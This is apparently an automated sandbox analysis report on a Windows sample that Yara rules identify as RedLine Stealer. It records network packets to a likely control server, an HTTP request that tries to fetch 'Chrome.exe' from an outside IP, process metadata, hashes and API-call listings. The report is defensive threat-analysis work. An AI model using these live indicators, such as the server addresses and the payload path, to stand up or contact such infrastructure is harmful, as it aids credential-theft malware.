Dec 5, 2021 00:27:46.810241938 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.810601950 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.810672045 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.811227083 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:46.811359882 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:46.859914064 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.859956026 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.860097885 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.860207081 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.860424042 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.860610962 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.860799074 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.861013889 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.861128092 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.861337900 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.861488104 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.861690998 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.862106085 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:46.862255096 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:46.932887077 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.933059931 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.933090925 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.933238029 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.933434963 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.933759928 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.933788061 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.933912039 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.934201002 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.934263945 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.934475899 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.934633017 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.936428070 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:46.936562061 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:46.983905077 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.983944893 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.983964920 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.984179020 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.984332085 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.984571934 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.984688044 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.984972954 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.984999895 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.985027075 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.985249043 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.985436916 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.985609055 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:46.986742973 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:46.986872911 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:47.058206081 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.058262110 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.058367014 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.058470964 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.058631897 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.058866978 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.058991909 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.059149981 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.059431076 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.059513092 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.059710026 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.108578920 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.108624935 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.108650923 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.108803988 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.108952999 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.109088898 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.109153986 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:47.109270096 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.109277010 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:47.109494925 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.109644890 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.109791994 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.109942913 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.110269070 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.110759020 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:47.110862017 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:47.230932951 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.230978966 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.231004000 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.231174946 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.231205940 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.231333971 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.231503963 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.231703997 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.231849909 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.232059002 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.232211113 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.232417107 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.232614040 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.232732058 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.232990980 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:47.233014107 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.233192921 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.233268976 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.233499050 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.233649015 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.233877897 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.234023094 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.234170914 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.234249115 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.234417915 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.234616995 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.354655981 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.354693890 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.354850054 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.355021954 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.355128050 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.355415106 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.355690002 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.359301090 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.405637980 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:47.679949045 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:47.801803112 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.802433014 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.807164907 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:47.929531097 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:47.978634119 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:47.994626045 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:48.132642984 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:48.133816957 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:48.255916119 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:48.257987976 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:48.382772923 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:48.431822062 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:48.583849907 CET	49745	80	192.168.2.3	94.250.250.30
Dec 5, 2021 00:27:48.643131971 CET	80	49745	94.250.250.30	192.168.2.3
Dec 5, 2021 00:27:48.643321037 CET	49745	80	192.168.2.3	94.250.250.30
Dec 5, 2021 00:27:48.644256115 CET	49745	80	192.168.2.3	94.250.250.30
Dec 5, 2021 00:27:48.703330040 CET	80	49745	94.250.250.30	192.168.2.3
Dec 5, 2021 00:27:48.703962088 CET	80	49745	94.250.250.30	192.168.2.3
Dec 5, 2021 00:27:48.744379997 CET	49745	80	192.168.2.3	94.250.250.30
Dec 5, 2021 00:27:48.797929049 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:48.919553041 CET	17292	49742	37.1.213.57	192.168.2.3
Dec 5, 2021 00:27:48.963057041 CET	49742	17292	192.168.2.3	37.1.213.57
Dec 5, 2021 00:27:49.191618919 CET	49745	80	192.168.2.3	94.250.250.30
Dec 5, 2021 00:27:49.191787958 CET	49742	17292	192.168.2.3	37.1.213.57

HTTP Request Dependency Graph

94.250.250.30

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49745	94.250.250.30	80	C:\Users\user\Desktop\84Xhvb840M.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2021 00:27:48.644256115 CET	1686	OUT	GET /Chrome.exe HTTP/1.1 Host: 94.250.250.30 Connection: Keep-Alive
Dec 5, 2021 00:27:48.703962088 CET	1686	IN	HTTP/1.1 404 Not Found Date: Sat, 04 Dec 2021 23:27:48 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 275 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 39 34 2e 32 35 30 2e 32 35 30 2e 33 30 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at 94.250.250.30 Port 80</address></body></html>

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

System Behavior

Analysis Process: 84Xhvb840M.exe PID: 7120 Parent PID: 4588

General

Start time:	00:27:18
Start date:	05/12/2021
Path:	C:\Users\user\Desktop\84Xhvb840M.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\84Xhvb840M.exe"
Imagebase:	0x400000
File size:	1607424 bytes
MD5 hash:	A299E78D8704D2840A0466488F5FE3D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000003.273844894.00000000035F0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000002.335990015.0000000000402000.00000040.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: 84Xhvb840M.exe PID: 7120 Parent PID: 4588 84Xhvb840M.exeCOMMON

Executed Functions

Function 0064C318, Relevance: 2.6, APIs: 2, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 0064C3B0
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 0064C3FE

Memory Dump Source

Source File: 00000000.00000002.336308231.00000000005A3000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.335978990.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.335990015.0000000000402000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336029416.0000000000438000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336039531.000000000043C000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336050056.0000000000442000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.336058489.0000000000444000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336190884.0000000000585000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336200241.0000000000587000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336207812.0000000000589000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336215386.000000000058B000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336222932.000000000058D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336230233.000000000058F000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336237756.0000000000591000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336245167.0000000000593000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336253994.0000000000595000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336261487.0000000000597000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336268735.0000000000599000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336277601.000000000059B000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336285585.000000000059D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336293219.000000000059F000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336300850.00000000005A1000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: f28091c84c69cdfb19519d25652b51bd1116a40139e2d5e46df42978291e410c
Instruction ID: 1db67eebe7147523a832c1397af28ac9cc1639aafdf9aebdd2a13c1cbac2d1c5
Opcode Fuzzy Hash: f28091c84c69cdfb19519d25652b51bd1116a40139e2d5e46df42978291e410c
Instruction Fuzzy Hash: 38314D72A08115BFDB08CF64DC55FFA3797EB15320F248229F912E32D0DA718E519795

Uniqueness

Uniqueness Score: -1.00%

Function 0068CA6E, Relevance: 1.6, APIs: 1, Instructions: 72libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?), ref: 0068CB6D

Memory Dump Source

Source File: 00000000.00000002.336308231.00000000005A3000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.335978990.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.335990015.0000000000402000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336029416.0000000000438000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336039531.000000000043C000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336050056.0000000000442000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.336058489.0000000000444000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336190884.0000000000585000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336200241.0000000000587000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336207812.0000000000589000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336215386.000000000058B000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336222932.000000000058D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336230233.000000000058F000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336237756.0000000000591000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336245167.0000000000593000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336253994.0000000000595000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336261487.0000000000597000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336268735.0000000000599000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336277601.000000000059B000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336285585.000000000059D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336293219.000000000059F000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336300850.00000000005A1000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 05a0e81197a30423ee4d99242c93b2a2f5ef9210fe5d48fc0a1404542c6c4211
Instruction ID: a0ad552f364e6dfee579c4f8935ae93a2cd3211fe2b28172e4de8157e8f387a2
Opcode Fuzzy Hash: 05a0e81197a30423ee4d99242c93b2a2f5ef9210fe5d48fc0a1404542c6c4211
Instruction Fuzzy Hash: 9D218D70608649BBDF259B70C848BE9BFAABF14300F088257F829851D5D731DAE5DB91

Uniqueness

Uniqueness Score: -1.00%

Function 0067F238, Relevance: 1.5, APIs: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,EEEEEEEE,?,?,?), ref: 0067F2CB

Memory Dump Source

Source File: 00000000.00000002.336308231.00000000005A3000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.335978990.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.335990015.0000000000402000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336029416.0000000000438000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336039531.000000000043C000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336050056.0000000000442000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.336058489.0000000000444000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336190884.0000000000585000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336200241.0000000000587000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336207812.0000000000589000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336215386.000000000058B000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336222932.000000000058D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336230233.000000000058F000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336237756.0000000000591000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336245167.0000000000593000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336253994.0000000000595000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336261487.0000000000597000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336268735.0000000000599000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336277601.000000000059B000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336285585.000000000059D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336293219.000000000059F000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336300850.00000000005A1000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ba64c101806b1880e265cfb0f869eba15e3519b364649fc205f7648b25407832
Instruction ID: 1f561041ce91da246cd57934d38c7dbd7ab4bdbb46dfa849f0859aedf0eebc21
Opcode Fuzzy Hash: ba64c101806b1880e265cfb0f869eba15e3519b364649fc205f7648b25407832
Instruction Fuzzy Hash: 88118E35500609FFEF148FA0DD08BEEBB66FF04304F104215F916911A6D735DA61EB52

Uniqueness

Uniqueness Score: -1.00%

Function 006B5CFC, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.336308231.00000000005A3000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.335978990.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.335990015.0000000000402000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336029416.0000000000438000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336039531.000000000043C000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336050056.0000000000442000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.336058489.0000000000444000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336190884.0000000000585000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336200241.0000000000587000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336207812.0000000000589000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336215386.000000000058B000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336222932.000000000058D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336230233.000000000058F000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336237756.0000000000591000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336245167.0000000000593000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336253994.0000000000595000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336261487.0000000000597000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336268735.0000000000599000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336277601.000000000059B000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336285585.000000000059D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336293219.000000000059F000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336300850.00000000005A1000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 561aa6812721afa280428db4c301eaf6218cdbf8a14531c468211c742d52358c
Instruction ID: 0499c5e62e284ad6a98f1456490675fc5e75369e52b8df0735f760ef6104c83c
Opcode Fuzzy Hash: 561aa6812721afa280428db4c301eaf6218cdbf8a14531c468211c742d52358c
Instruction Fuzzy Hash: 7B011E70304905FBDB199A28C884AE8FBB6FB90341F188216F81B862D4CB35E8D2D795

Uniqueness

Uniqueness Score: -1.00%

Function 006C47C8, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.336308231.00000000005A3000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.335978990.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.335990015.0000000000402000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336029416.0000000000438000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336039531.000000000043C000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336050056.0000000000442000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.336058489.0000000000444000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336190884.0000000000585000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336200241.0000000000587000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336207812.0000000000589000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336215386.000000000058B000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336222932.000000000058D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336230233.000000000058F000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336237756.0000000000591000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336245167.0000000000593000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336253994.0000000000595000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336261487.0000000000597000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336268735.0000000000599000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336277601.000000000059B000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336285585.000000000059D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336293219.000000000059F000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336300850.00000000005A1000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7db2507770152e2dbb8c310e709bcdc1217039c8b859415ca054672f490364d5
Instruction ID: 8b77b45bed904841355f4b2e2b8229560ef540c101a790d57bee2e87658d5a82
Opcode Fuzzy Hash: 7db2507770152e2dbb8c310e709bcdc1217039c8b859415ca054672f490364d5
Instruction Fuzzy Hash: D401E23620110EBBCF068FA5CC04DEE7F66FF58350B088115FA2A85164CB36D9B2EB91

Uniqueness

Uniqueness Score: -1.00%

Function 0067F3DB, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GetFileAttributesExW.KERNEL32(?,?,?), ref: 0067F44C

Memory Dump Source

Source File: 00000000.00000002.336308231.00000000005A3000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.335978990.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.335990015.0000000000402000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336029416.0000000000438000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336039531.000000000043C000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336050056.0000000000442000.00000080.00020000.sdmp Download File
Associated: 00000000.00000002.336058489.0000000000444000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336190884.0000000000585000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336200241.0000000000587000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336207812.0000000000589000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336215386.000000000058B000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336222932.000000000058D000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336230233.000000000058F000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336237756.0000000000591000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336245167.0000000000593000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336253994.0000000000595000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336261487.0000000000597000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336268735.0000000000599000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336277601.000000000059B000.00000040.00020000.sdmp Download File
Associated: 00000000.00000002.336285585.000000000059D000.00000040.00020000.sdmp Download File
